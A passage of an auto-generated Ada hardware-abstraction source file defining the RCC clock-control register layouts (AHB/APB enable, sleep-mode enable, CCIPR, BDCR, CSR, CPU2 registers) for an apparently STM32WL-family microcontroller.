DMA1EN : Boolean := False;
-- CPU1 DMA2 clock enable
DMA2EN : Boolean := False;
-- CPU1 DMAMUX1 clock enable
DMAMUX1EN : Boolean := False;
-- unspecified
Reserved_3_11 : HAL.UInt9 := 16#0#;
-- CPU1 CRC clock enable
CRCEN : Boolean := False;
-- unspecified
Reserved_13_31 : HAL.UInt19 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for AHB1ENR_Register use record
DMA1EN at 0 range 0 .. 0;
DMA2EN at 0 range 1 .. 1;
DMAMUX1EN at 0 range 2 .. 2;
Reserved_3_11 at 0 range 3 .. 11;
CRCEN at 0 range 12 .. 12;
Reserved_13_31 at 0 range 13 .. 31;
end record;
-- AHB2 peripheral clock enable register
type AHB2ENR_Register is record
-- CPU1 IO port A clock enable
GPIOAEN : Boolean := False;
-- CPU1 IO port B clock enable
GPIOBEN : Boolean := False;
-- CPU1 IO port C clock enable
GPIOCEN : Boolean := False;
-- unspecified
Reserved_3_6 : HAL.UInt4 := 16#0#;
-- CPU1 IO port H clock enable
GPIOHEN : Boolean := False;
-- unspecified
Reserved_8_31 : HAL.UInt24 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for AHB2ENR_Register use record
GPIOAEN at 0 range 0 .. 0;
GPIOBEN at 0 range 1 .. 1;
GPIOCEN at 0 range 2 .. 2;
Reserved_3_6 at 0 range 3 .. 6;
GPIOHEN at 0 range 7 .. 7;
Reserved_8_31 at 0 range 8 .. 31;
end record;
-- AHB3 peripheral clock enable register
type AHB3ENR_Register is record
-- unspecified
Reserved_0_15 : HAL.UInt16 := 16#0#;
-- PKAEN
PKAEN : Boolean := False;
-- AESEN
AESEN : Boolean := False;
-- RNGEN
RNGEN : Boolean := False;
-- HSEMEN
HSEMEN : Boolean := True;
-- IPCCEN
IPCCEN : Boolean := False;
-- unspecified
Reserved_21_24 : HAL.UInt4 := 16#0#;
-- CPU1 Flash interface clock enable
FLASHEN : Boolean := True;
-- unspecified
Reserved_26_31 : HAL.UInt6 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for AHB3ENR_Register use record
Reserved_0_15 at 0 range 0 .. 15;
PKAEN at 0 range 16 .. 16;
AESEN at 0 range 17 .. 17;
RNGEN at 0 range 18 .. 18;
HSEMEN at 0 range 19 .. 19;
IPCCEN at 0 range 20 .. 20;
Reserved_21_24 at 0 range 21 .. 24;
FLASHEN at 0 range 25 .. 25;
Reserved_26_31 at 0 range 26 .. 31;
end record;
-- APB1 peripheral clock enable register 1
type APB1ENR1_Register is record
-- CPU1 TIM2 timer clock enable
TIM2EN : Boolean := False;
-- unspecified
Reserved_1_9 : HAL.UInt9 := 16#0#;
-- CPU1 RTC APB clock enable
RTCAPBEN : Boolean := False;
-- CPU1 Window watchdog clock enable
WWDGEN : Boolean := False;
-- unspecified
Reserved_12_13 : HAL.UInt2 := 16#0#;
-- CPU1 SPI2S2 clock enable
SPI2S2EN : Boolean := False;
-- unspecified
Reserved_15_16 : HAL.UInt2 := 16#0#;
-- CPU1 USART2 clock enable
USART2EN : Boolean := False;
-- unspecified
Reserved_18_20 : HAL.UInt3 := 16#0#;
-- CPU1 I2C1 clocks enable
I2C1EN : Boolean := False;
-- CPU1 I2C2 clocks enable
I2C2EN : Boolean := False;
-- CPU1 I2C3 clocks enable
I2C3EN : Boolean := False;
-- unspecified
Reserved_24_28 : HAL.UInt5 := 16#0#;
-- CPU1 DAC1 clock enable
DAC1EN : Boolean := False;
-- unspecified
Reserved_30_30 : HAL.Bit := 16#0#;
-- CPU1 Low power timer 1 clocks enable
LPTIM1EN : Boolean := False;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for APB1ENR1_Register use record
TIM2EN at 0 range 0 .. 0;
Reserved_1_9 at 0 range 1 .. 9;
RTCAPBEN at 0 range 10 .. 10;
WWDGEN at 0 range 11 .. 11;
Reserved_12_13 at 0 range 12 .. 13;
SPI2S2EN at 0 range 14 .. 14;
Reserved_15_16 at 0 range 15 .. 16;
USART2EN at 0 range 17 .. 17;
Reserved_18_20 at 0 range 18 .. 20;
I2C1EN at 0 range 21 .. 21;
I2C2EN at 0 range 22 .. 22;
I2C3EN at 0 range 23 .. 23;
Reserved_24_28 at 0 range 24 .. 28;
DAC1EN at 0 range 29 .. 29;
Reserved_30_30 at 0 range 30 .. 30;
LPTIM1EN at 0 range 31 .. 31;
end record;
-- APB1 peripheral clock enable register 2
type APB1ENR2_Register is record
-- CPU1 Low power UART 1 clocks enable
LPUART1EN : Boolean := False;
-- unspecified
Reserved_1_4 : HAL.UInt4 := 16#0#;
-- CPU1 Low power timer 2 clocks enable
LPTIM2EN : Boolean := False;
-- CPU1 Low power timer 3 clocks enable
LPTIM3EN : Boolean := False;
-- unspecified
Reserved_7_31 : HAL.UInt25 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for APB1ENR2_Register use record
LPUART1EN at 0 range 0 .. 0;
Reserved_1_4 at 0 range 1 .. 4;
LPTIM2EN at 0 range 5 .. 5;
LPTIM3EN at 0 range 6 .. 6;
Reserved_7_31 at 0 range 7 .. 31;
end record;
-- APB2 peripheral clock enable register
type APB2ENR_Register is record
-- unspecified
Reserved_0_8 : HAL.UInt9 := 16#0#;
-- CPU1 ADC clocks enable
ADCEN : Boolean := False;
-- unspecified
Reserved_10_10 : HAL.Bit := 16#0#;
-- CPU1 TIM1 timer clock enable
TIM1EN : Boolean := False;
-- CPU1 SPI1 clock enable
SPI1EN : Boolean := False;
-- unspecified
Reserved_13_13 : HAL.Bit := 16#0#;
-- CPU1 USART1clocks enable
USART1EN : Boolean := False;
-- unspecified
Reserved_15_16 : HAL.UInt2 := 16#0#;
-- CPU1 TIM16 timer clock enable
TIM16EN : Boolean := False;
-- CPU1 TIM17 timer clock enable
TIM17EN : Boolean := False;
-- unspecified
Reserved_19_31 : HAL.UInt13 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for APB2ENR_Register use record
Reserved_0_8 at 0 range 0 .. 8;
ADCEN at 0 range 9 .. 9;
Reserved_10_10 at 0 range 10 .. 10;
TIM1EN at 0 range 11 .. 11;
SPI1EN at 0 range 12 .. 12;
Reserved_13_13 at 0 range 13 .. 13;
USART1EN at 0 range 14 .. 14;
Reserved_15_16 at 0 range 15 .. 16;
TIM16EN at 0 range 17 .. 17;
TIM17EN at 0 range 18 .. 18;
Reserved_19_31 at 0 range 19 .. 31;
end record;
-- APB3 peripheral clock enable register
type APB3ENR_Register is record
-- sub-GHz radio SPI clock enable
SUBGHZSPIEN : Boolean := False;
-- unspecified
Reserved_1_31 : HAL.UInt31 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for APB3ENR_Register use record
SUBGHZSPIEN at 0 range 0 .. 0;
Reserved_1_31 at 0 range 1 .. 31;
end record;
-- AHB1 peripheral clocks enable in Sleep modes register
type AHB1SMENR_Register is record
-- DMA1 clock enable during CPU1 CSleep mode.
DMA1SMEN : Boolean := True;
-- DMA2 clock enable during CPU1 CSleep mode
DMA2SMEN : Boolean := True;
-- DMAMUX1 clock enable during CPU1 CSleep mode.
DMAMUX1SMEN : Boolean := True;
-- unspecified
Reserved_3_11 : HAL.UInt9 := 16#0#;
-- CRC clock enable during CPU1 CSleep mode.
CRCSMEN : Boolean := True;
-- unspecified
Reserved_13_31 : HAL.UInt19 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for AHB1SMENR_Register use record
DMA1SMEN at 0 range 0 .. 0;
DMA2SMEN at 0 range 1 .. 1;
DMAMUX1SMEN at 0 range 2 .. 2;
Reserved_3_11 at 0 range 3 .. 11;
CRCSMEN at 0 range 12 .. 12;
Reserved_13_31 at 0 range 13 .. 31;
end record;
-- AHB2 peripheral clocks enable in Sleep modes register
type AHB2SMENR_Register is record
-- IO port A clock enable during CPU1 CSleep mode.
GPIOASMEN : Boolean := True;
-- IO port B clock enable during CPU1 CSleep mode.
GPIOBSMEN : Boolean := True;
-- IO port C clock enable during CPU1 CSleep mode.
GPIOCSMEN : Boolean := True;
-- unspecified
Reserved_3_6 : HAL.UInt4 := 16#0#;
-- IO port H clock enable during CPU1 CSleep mode.
GPIOHSMEN : Boolean := True;
-- unspecified
Reserved_8_31 : HAL.UInt24 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for AHB2SMENR_Register use record
GPIOASMEN at 0 range 0 .. 0;
GPIOBSMEN at 0 range 1 .. 1;
GPIOCSMEN at 0 range 2 .. 2;
Reserved_3_6 at 0 range 3 .. 6;
GPIOHSMEN at 0 range 7 .. 7;
Reserved_8_31 at 0 range 8 .. 31;
end record;
-- AHB3 peripheral clocks enable in Sleep and Stop modes register
type AHB3SMENR_Register is record
-- unspecified
Reserved_0_15 : HAL.UInt16 := 16#0#;
-- PKA accelerator clock enable during CPU1 CSleep mode.
PKASMEN : Boolean := True;
-- AES accelerator clock enable during CPU1 CSleep mode.
AESSMEN : Boolean := True;
-- True RNG clocks enable during CPU1 Csleep and CStop modes
RNGSMEN : Boolean := True;
-- unspecified
Reserved_19_22 : HAL.UInt4 := 16#0#;
-- SRAM1 interface clock enable during CPU1 CSleep mode.
SRAM1SMEN : Boolean := True;
-- SRAM2 memory interface clock enable during CPU1 CSleep mode
SRAM2SMEN : Boolean := True;
-- Flash interface clock enable during CPU1 CSleep mode.
FLASHSMEN : Boolean := True;
-- unspecified
Reserved_26_31 : HAL.UInt6 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for AHB3SMENR_Register use record
Reserved_0_15 at 0 range 0 .. 15;
PKASMEN at 0 range 16 .. 16;
AESSMEN at 0 range 17 .. 17;
RNGSMEN at 0 range 18 .. 18;
Reserved_19_22 at 0 range 19 .. 22;
SRAM1SMEN at 0 range 23 .. 23;
SRAM2SMEN at 0 range 24 .. 24;
FLASHSMEN at 0 range 25 .. 25;
Reserved_26_31 at 0 range 26 .. 31;
end record;
-- APB1 peripheral clocks enable in Sleep mode register 1
type APB1SMENR1_Register is record
-- TIM2 timer clock enable during CPU1 CSleep mode.
TIM2SMEN : Boolean := True;
-- unspecified
Reserved_1_9 : HAL.UInt9 := 16#0#;
-- RTC bus clock enable during CPU1 CSleep mode.
RTCAPBSMEN : Boolean := True;
-- Window watchdog clocks enable during CPU1 CSleep mode.
WWDGSMEN : Boolean := True;
-- unspecified
Reserved_12_13 : HAL.UInt2 := 16#0#;
-- SPI2S2 clock enable during CPU1 CSleep mode.
SPI2S2SMEN : Boolean := True;
-- unspecified
Reserved_15_16 : HAL.UInt2 := 16#0#;
-- USART2 clock enable during CPU1 CSleep mode.
USART2SMEN : Boolean := True;
-- unspecified
Reserved_18_20 : HAL.UInt3 := 16#0#;
-- I2C1 clock enable during CPU1 Csleep and CStop modes
I2C1SMEN : Boolean := True;
-- I2C2 clock enable during CPU1 Csleep and CStop modes
I2C2SMEN : Boolean := True;
-- I2C3 clock enable during CPU1 Csleep and CStop modes
I2C3SMEN : Boolean := True;
-- unspecified
Reserved_24_28 : HAL.UInt5 := 16#0#;
-- DAC1 clock enable during CPU1 CSleep mode.
DACSMEN : Boolean := True;
-- unspecified
Reserved_30_30 : HAL.Bit := 16#0#;
-- Low power timer 1 clock enable during CPU1 Csleep and CStop mode
LPTIM1SMEN : Boolean := True;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for APB1SMENR1_Register use record
TIM2SMEN at 0 range 0 .. 0;
Reserved_1_9 at 0 range 1 .. 9;
RTCAPBSMEN at 0 range 10 .. 10;
WWDGSMEN at 0 range 11 .. 11;
Reserved_12_13 at 0 range 12 .. 13;
SPI2S2SMEN at 0 range 14 .. 14;
Reserved_15_16 at 0 range 15 .. 16;
USART2SMEN at 0 range 17 .. 17;
Reserved_18_20 at 0 range 18 .. 20;
I2C1SMEN at 0 range 21 .. 21;
I2C2SMEN at 0 range 22 .. 22;
I2C3SMEN at 0 range 23 .. 23;
Reserved_24_28 at 0 range 24 .. 28;
DACSMEN at 0 range 29 .. 29;
Reserved_30_30 at 0 range 30 .. 30;
LPTIM1SMEN at 0 range 31 .. 31;
end record;
-- APB1 peripheral clocks enable in Sleep mode register 2
type APB1SMENR2_Register is record
-- Low power UART 1 clock enable during CPU1 Csleep and CStop modes.
LPUART1SMEN : Boolean := True;
-- unspecified
Reserved_1_4 : HAL.UInt4 := 16#0#;
-- Low power timer 2 clock enable during CPU1 Csleep and CStop modes
LPTIM2SMEN : Boolean := True;
-- Low power timer 3 clock enable during CPU1 Csleep and CStop modes
LPTIM3SMEN : Boolean := True;
-- unspecified
Reserved_7_31 : HAL.UInt25 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for APB1SMENR2_Register use record
LPUART1SMEN at 0 range 0 .. 0;
Reserved_1_4 at 0 range 1 .. 4;
LPTIM2SMEN at 0 range 5 .. 5;
LPTIM3SMEN at 0 range 6 .. 6;
Reserved_7_31 at 0 range 7 .. 31;
end record;
-- APB2 peripheral clocks enable in Sleep mode register
type APB2SMENR_Register is record
-- unspecified
Reserved_0_8 : HAL.UInt9 := 16#0#;
-- ADC clocks enable during CPU1 Csleep and CStop modes
ADCSMEN : Boolean := True;
-- unspecified
Reserved_10_10 : HAL.Bit := 16#0#;
-- TIM1 timer clock enable during CPU1 CSleep mode.
TIM1SMEN : Boolean := True;
-- SPI1 clock enable during CPU1 CSleep mode.
SPI1SMEN : Boolean := True;
-- unspecified
Reserved_13_13 : HAL.Bit := 16#0#;
-- USART1 clock enable during CPU1 Csleep and CStop modes.
USART1SMEN : Boolean := True;
-- unspecified
Reserved_15_16 : HAL.UInt2 := 16#0#;
-- TIM16 timer clock enable during CPU1 CSleep mode.
TIM16SMEN : Boolean := True;
-- TIM17 timer clock enable during CPU1 CSleep mode.
TIM17SMEN : Boolean := True;
-- unspecified
Reserved_19_31 : HAL.UInt13 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for APB2SMENR_Register use record
Reserved_0_8 at 0 range 0 .. 8;
ADCSMEN at 0 range 9 .. 9;
Reserved_10_10 at 0 range 10 .. 10;
TIM1SMEN at 0 range 11 .. 11;
SPI1SMEN at 0 range 12 .. 12;
Reserved_13_13 at 0 range 13 .. 13;
USART1SMEN at 0 range 14 .. 14;
Reserved_15_16 at 0 range 15 .. 16;
TIM16SMEN at 0 range 17 .. 17;
TIM17SMEN at 0 range 18 .. 18;
Reserved_19_31 at 0 range 19 .. 31;
end record;
-- APB3 peripheral clock enable in Sleep mode register
type APB3SMENR_Register is record
-- Sub-GHz radio SPI clock enable during Sleep and Stop modes
SUBGHZSPISMEN : Boolean := True;
-- unspecified
Reserved_1_31 : HAL.UInt31 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for APB3SMENR_Register use record
SUBGHZSPISMEN at 0 range 0 .. 0;
Reserved_1_31 at 0 range 1 .. 31;
end record;
subtype CCIPR_USART1SEL_Field is HAL.UInt2;
subtype CCIPR_USART2SEL_Field is HAL.UInt2;
subtype CCIPR_SPI2S2SEL_Field is HAL.UInt2;
subtype CCIPR_LPUART1SEL_Field is HAL.UInt2;
subtype CCIPR_I2C1SEL_Field is HAL.UInt2;
subtype CCIPR_I2C2SEL_Field is HAL.UInt2;
subtype CCIPR_I2C3SEL_Field is HAL.UInt2;
subtype CCIPR_LPTIM1SEL_Field is HAL.UInt2;
subtype CCIPR_LPTIM2SEL_Field is HAL.UInt2;
subtype CCIPR_LPTIM3SEL_Field is HAL.UInt2;
subtype CCIPR_ADCSEL_Field is HAL.UInt2;
subtype CCIPR_RNGSEL_Field is HAL.UInt2;
-- Peripherals independent clock configuration register
type CCIPR_Register is record
-- USART1 clock source selection
USART1SEL : CCIPR_USART1SEL_Field := 16#0#;
-- USART2 clock source selection
USART2SEL : CCIPR_USART2SEL_Field := 16#0#;
-- unspecified
Reserved_4_7 : HAL.UInt4 := 16#0#;
-- SPI2S2 I2S clock source selection
SPI2S2SEL : CCIPR_SPI2S2SEL_Field := 16#0#;
-- LPUART1 clock source selection
LPUART1SEL : CCIPR_LPUART1SEL_Field := 16#0#;
-- I2C1 clock source selection
I2C1SEL : CCIPR_I2C1SEL_Field := 16#0#;
-- I2C2 clock source selection
I2C2SEL : CCIPR_I2C2SEL_Field := 16#0#;
-- I2C3 clock source selection
I2C3SEL : CCIPR_I2C3SEL_Field := 16#0#;
-- Low power timer 1 clock source selection
LPTIM1SEL : CCIPR_LPTIM1SEL_Field := 16#0#;
-- Low power timer 2 clock source selection
LPTIM2SEL : CCIPR_LPTIM2SEL_Field := 16#0#;
-- Low power timer 3 clock source selection
LPTIM3SEL : CCIPR_LPTIM3SEL_Field := 16#0#;
-- unspecified
Reserved_24_27 : HAL.UInt4 := 16#0#;
-- ADC clock source selection
ADCSEL : CCIPR_ADCSEL_Field := 16#0#;
-- RNG clock source selection
RNGSEL : CCIPR_RNGSEL_Field := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CCIPR_Register use record
USART1SEL at 0 range 0 .. 1;
USART2SEL at 0 range 2 .. 3;
Reserved_4_7 at 0 range 4 .. 7;
SPI2S2SEL at 0 range 8 .. 9;
LPUART1SEL at 0 range 10 .. 11;
I2C1SEL at 0 range 12 .. 13;
I2C2SEL at 0 range 14 .. 15;
I2C3SEL at 0 range 16 .. 17;
LPTIM1SEL at 0 range 18 .. 19;
LPTIM2SEL at 0 range 20 .. 21;
LPTIM3SEL at 0 range 22 .. 23;
Reserved_24_27 at 0 range 24 .. 27;
ADCSEL at 0 range 28 .. 29;
RNGSEL at 0 range 30 .. 31;
end record;
subtype BDCR_LSEDRV_Field is HAL.UInt2;
subtype BDCR_RTCSEL_Field is HAL.UInt2;
-- Backup domain control register
type BDCR_Register is record
-- LSE oscillator enable
LSEON : Boolean := False;
-- Read-only. LSE oscillator ready
LSERDY : Boolean := False;
-- LSE oscillator bypass
LSEBYP : Boolean := False;
-- LSE oscillator drive capability
LSEDRV : BDCR_LSEDRV_Field := 16#0#;
-- CSS on LSE enable
LSECSSON : Boolean := False;
-- Read-only. CSS on LSE failure Detection
LSECSSD : Boolean := False;
-- LSE system clock enable
LSESYSEN : Boolean := False;
-- RTC clock source selection
RTCSEL : BDCR_RTCSEL_Field := 16#0#;
-- unspecified
Reserved_10_10 : HAL.Bit := 16#0#;
-- Read-only. LSE system clock ready
LSESYSRDY : Boolean := False;
-- unspecified
Reserved_12_14 : HAL.UInt3 := 16#0#;
-- RTC clock enable
RTCEN : Boolean := False;
-- Backup domain software reset
BDRST : Boolean := False;
-- unspecified
Reserved_17_23 : HAL.UInt7 := 16#0#;
-- Low speed clock output enable
LSCOEN : Boolean := False;
-- Low speed clock output selection
LSCOSEL : Boolean := False;
-- unspecified
Reserved_26_31 : HAL.UInt6 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for BDCR_Register use record
LSEON at 0 range 0 .. 0;
LSERDY at 0 range 1 .. 1;
LSEBYP at 0 range 2 .. 2;
LSEDRV at 0 range 3 .. 4;
LSECSSON at 0 range 5 .. 5;
LSECSSD at 0 range 6 .. 6;
LSESYSEN at 0 range 7 .. 7;
RTCSEL at 0 range 8 .. 9;
Reserved_10_10 at 0 range 10 .. 10;
LSESYSRDY at 0 range 11 .. 11;
Reserved_12_14 at 0 range 12 .. 14;
RTCEN at 0 range 15 .. 15;
BDRST at 0 range 16 .. 16;
Reserved_17_23 at 0 range 17 .. 23;
LSCOEN at 0 range 24 .. 24;
LSCOSEL at 0 range 25 .. 25;
Reserved_26_31 at 0 range 26 .. 31;
end record;
subtype CSR_MSISRANGE_Field is HAL.UInt4;
-- Control/status register
type CSR_Register is record
-- LSI oscillator enable
LSION : Boolean := False;
-- Read-only. LSI oscillator ready
LSIRDY : Boolean := False;
-- unspecified
Reserved_2_3 : HAL.UInt2 := 16#0#;
-- LSI frequency prescaler
LSIPRE : Boolean := False;
-- unspecified
Reserved_5_7 : HAL.UInt3 := 16#0#;
-- MSI clock ranges
MSISRANGE : CSR_MSISRANGE_Field := 16#6#;
-- unspecified
Reserved_12_13 : HAL.UInt2 := 16#0#;
-- Read-only. Radio in reset status flag
RFRSTF : Boolean := True;
-- Radio reset
RFRST : Boolean := True;
-- unspecified
Reserved_16_22 : HAL.UInt7 := 16#1#;
-- Remove reset flag
RMVF : Boolean := False;
-- Read-only. Radio illegal access flag
RFILARSTF : Boolean := False;
-- Read-only. Option byte loader reset flag
OBLRSTF : Boolean := False;
-- Read-only. Pin reset flag
PINRSTF : Boolean := True;
-- Read-only. BOR flag
BORRSTF : Boolean := True;
-- Read-only. Software reset flag
SFTRSTF : Boolean := False;
-- Read-only. Independent window watchdog reset flag
IWDGRSTF : Boolean := False;
-- Read-only. Window watchdog reset flag
WWDGRSTF : Boolean := False;
-- Read-only. Low-power reset flag
LPWRRSTF : Boolean := False;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for CSR_Register use record
LSION at 0 range 0 .. 0;
LSIRDY at 0 range 1 .. 1;
Reserved_2_3 at 0 range 2 .. 3;
LSIPRE at 0 range 4 .. 4;
Reserved_5_7 at 0 range 5 .. 7;
MSISRANGE at 0 range 8 .. 11;
Reserved_12_13 at 0 range 12 .. 13;
RFRSTF at 0 range 14 .. 14;
RFRST at 0 range 15 .. 15;
Reserved_16_22 at 0 range 16 .. 22;
RMVF at 0 range 23 .. 23;
RFILARSTF at 0 range 24 .. 24;
OBLRSTF at 0 range 25 .. 25;
PINRSTF at 0 range 26 .. 26;
BORRSTF at 0 range 27 .. 27;
SFTRSTF at 0 range 28 .. 28;
IWDGRSTF at 0 range 29 .. 29;
WWDGRSTF at 0 range 30 .. 30;
LPWRRSTF at 0 range 31 .. 31;
end record;
subtype EXTCFGR_SHDHPRE_Field is HAL.UInt4;
subtype EXTCFGR_C2HPRE_Field is HAL.UInt4;
-- Extended clock recovery register
type EXTCFGR_Register is record
-- HCLK3 shared prescaler (AHB3, Flash, and SRAM2)
SHDHPRE : EXTCFGR_SHDHPRE_Field := 16#0#;
-- [dual core device only] HCLK2 prescaler (CPU2)
C2HPRE : EXTCFGR_C2HPRE_Field := 16#0#;
-- unspecified
Reserved_8_15 : HAL.UInt8 := 16#0#;
-- Read-only. HCLK3 shared prescaler flag (AHB3, Flash, and SRAM2)
SHDHPREF : Boolean := True;
-- Read-only. CLK2 prescaler flag (CPU2)
C2HPREF : Boolean := True;
-- unspecified
Reserved_18_31 : HAL.UInt14 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for EXTCFGR_Register use record
SHDHPRE at 0 range 0 .. 3;
C2HPRE at 0 range 4 .. 7;
Reserved_8_15 at 0 range 8 .. 15;
SHDHPREF at 0 range 16 .. 16;
C2HPREF at 0 range 17 .. 17;
Reserved_18_31 at 0 range 18 .. 31;
end record;
-- CPU2 AHB1 peripheral clock enable register
type C2AHB1ENR_Register is record
-- CPU2 DMA1 clock enable
DMA1EN : Boolean := False;
-- CPU2 DMA2 clock enable
DMA2EN : Boolean := False;
-- CPU2 DMAMUX1 clock enable
DMAMUX1EN : Boolean := False;
-- unspecified
Reserved_3_11 : HAL.UInt9 := 16#0#;
-- CPU2 CRC clock enable
CRCEN : Boolean := False;
-- unspecified
Reserved_13_31 : HAL.UInt19 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for C2AHB1ENR_Register use record
DMA1EN at 0 range 0 .. 0;
DMA2EN at 0 range 1 .. 1;
DMAMUX1EN at 0 range 2 .. 2;
Reserved_3_11 at 0 range 3 .. 11;
CRCEN at 0 range 12 .. 12;
Reserved_13_31 at 0 range 13 .. 31;
end record;
-- CPU2 AHB2 peripheral clock enable register
type C2AHB2ENR_Register is record
-- CPU2 IO port A clock enable
GPIOAEN : Boolean := False;
-- CPU2 IO port B clock enable
GPIOBEN : Boolean := False;
-- CPU2 IO port C clock enable
GPIOCEN : Boolean := False;
-- unspecified
Reserved_3_6 : HAL.UInt4 := 16#0#;
-- CPU2 IO port H clock enable
GPIOHEN : Boolean := False;
-- unspecified
Reserved_8_31 : HAL.UInt24 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for C2AHB2ENR_Register use record
GPIOAEN at 0 range 0 .. 0;
GPIOBEN at 0 range 1 .. 1;
GPIOCEN at 0 range 2 .. 2;
Reserved_3_6 at 0 range 3 .. 6;
GPIOHEN at 0 range 7 .. 7;
Reserved_8_31 at 0 range 8 .. 31;
end record;
-- CPU2 AHB3 peripheral clock enable register [dual core device only]
type C2AHB3ENR_Register is record
-- unspecified
Reserved_0_15 : HAL.UInt16 := 16#0#;
-- CPU2 PKA accelerator clock enable
PKAEN : Boolean := False;
-- CPU2 AES accelerator clock enable
AESEN : Boolean := False;
-- CPU2 True RNG clocks enable
RNGEN : Boolean := False;
-- CPU2 HSEM clock enable
HSEMEN : Boolean := True;
-- CPU2 IPCC interface clock enable
IPCCEN : Boolean := False;
-- unspecified
Reserved_21_24 : HAL.UInt4 := 16#0#;
-- CPU2 Flash interface clock enable
FLASHEN : Boolean := True;
-- unspecified
Reserved_26_31 : HAL.UInt6 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for C2AHB3ENR_Register use record
Reserved_0_15 at 0 range 0 .. 15;
PKAEN at 0 range 16 .. 16;
AESEN at 0 range 17 .. 17;
RNGEN at 0 range 18 .. 18;
HSEMEN at 0 range 19 .. 19;
IPCCEN at 0 range 20 .. 20;
Reserved_21_24 at 0 range 21 .. 24;
FLASHEN at 0 range 25 .. 25;
Reserved_26_31 at 0 range 26 .. 31;
end record;
-- CPU2 APB1 peripheral clock enable register 1 [dual core device only]
type C2APB1ENR1_Register is record
-- CPU2 TIM2 timer clock enable
TIM2EN : Boolean := False;
-- unspecified
Reserved_1_9 : HAL.UInt9 := 16#0#;
-- CPU2 RTC APB clock enable
RTCAPBEN : Boolean := False;
-- unspecified
Reserved_11_13 : HAL.UInt3 := 16#0#;
-- CPU2 SPI2S2 clock enable
SPI2S2EN : Boolean := False;
-- unspecified
Reserved_15_16 : HAL.UInt2 := 16#0#;
-- CPU2 USART2 clock enable
USART2EN : Boolean := False;
-- unspecified
Reserved_18_20 : HAL.UInt3 := 16#0#;
-- CPU2 I2C1 clocks enable
I2C1EN : Boolean := False;
-- CPU2 I2C2 clocks enable
I2C2EN : Boolean := False;
-- CPU2 I2C3 clocks enable
I2C3EN : Boolean := False;
-- unspecified
Reserved_24_28 : HAL.UInt5 := 16#0#;
-- CPU2 DAC1 clock enable
DAC1EN : Boolean := False;
-- unspecified
Reserved_30_30 : HAL.Bit := 16#0#;
-- CPU2 Low power timer 1 clocks enable
LPTIM1EN : Boolean := False;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for C2APB1ENR1_Register use record
TIM2EN at 0 range 0 .. 0;
Reserved_1_9 at 0 range 1 .. 9;
RTCAPBEN at 0 range 10 .. 10;
Reserved_11_13 at 0 range 11 .. 13;
SPI2S2EN at 0 range 14 .. 14;
Reserved_15_16 at 0 range 15 .. 16;
USART2EN at 0 range 17 .. 17;
Reserved_18_20 at 0 range 18 .. 20;
I2C1EN at 0 range 21 .. 21;
I2C2EN at 0 range 22 .. 22;
I2C3EN at 0 range 23 .. 23;
Reserved_24_28 at 0 range 24 .. 28;
DAC1EN at 0 range 29 .. 29;
Reserved_30_30 at 0 range 30 .. 30;
LPTIM1EN at 0 range 31 .. 31;
end record;
-- CPU2 APB1 peripheral clock enable register 2 [dual core device only]
type C2APB1ENR2_Register is record
-- CPU2 Low power UART 1 clocks enable
LPUART1EN : Boolean := False;
-- unspecified
Reserved_1_4 : HAL.UInt4 := 16#0#;
-- CPU2 Low power timer 2 clocks enable
LPTIM2EN : Boolean := False;
-- CPU2 Low power timer 3 clocks enable
LPTIM3EN : Boolean := False;
-- unspecified
Reserved_7_31 : HAL.UInt25 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for C2APB1ENR2_Register use record
LPUART1EN at 0 range 0 .. 0;
Reserved_1_4 at 0 range 1 .. 4;
LPTIM2EN at 0 range 5 .. 5;
LPTIM3EN at 0 range 6 .. 6;
Reserved_7_31 at 0 range 7 .. 31;
end record;
-- CPU2 APB2 peripheral clock enable register [dual core device only]
type C2APB2ENR_Register is record
-- unspecified
Reserved_0_8 : HAL.UInt9 := 16#0#;
-- ADC clocks enable
ADCEN : Boolean := False;
-- unspecified
Reserved_10_10 : HAL.Bit := 16#0#;
-- CPU2 TIM1 timer clock enable
TIM1EN : Boolean := False;
-- CPU2 SPI1 clock enable
SPI1EN : Boolean := False;
-- unspecified
Reserved_13_13 : HAL.Bit := 16#0#;
-- CPU2 USART1clocks enable
USART1EN : Boolean := False;
-- unspecified
Reserved_15_16 : HAL.UInt2 := 16#0#;
-- CPU2 TIM16 timer clock enable
TIM16EN : Boolean := False;
-- CPU2 TIM17 timer clock enable
TIM17EN : Boolean := False;
-- unspecified
Reserved_19_31 : HAL.UInt13 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
